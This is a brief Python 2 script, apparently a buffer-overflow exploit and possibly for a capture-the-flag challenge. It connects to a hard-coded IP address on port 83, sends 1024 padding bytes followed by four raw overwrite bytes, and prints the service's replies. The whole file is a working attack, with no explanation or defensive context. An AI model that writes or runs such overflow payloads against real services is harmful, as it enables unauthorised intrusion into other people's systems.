import sys
import socket

server_address = ('52.197.128.90', 83)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(server_address)

a = sock.recv(1024)
print a
send_this = 'a' * 1024

#\xc0\0xfe

sock.send(send_this + '\xfe\xc0\x51\xbe')
while 1:
    b = sock.recv(1024)
    if b:
        print b

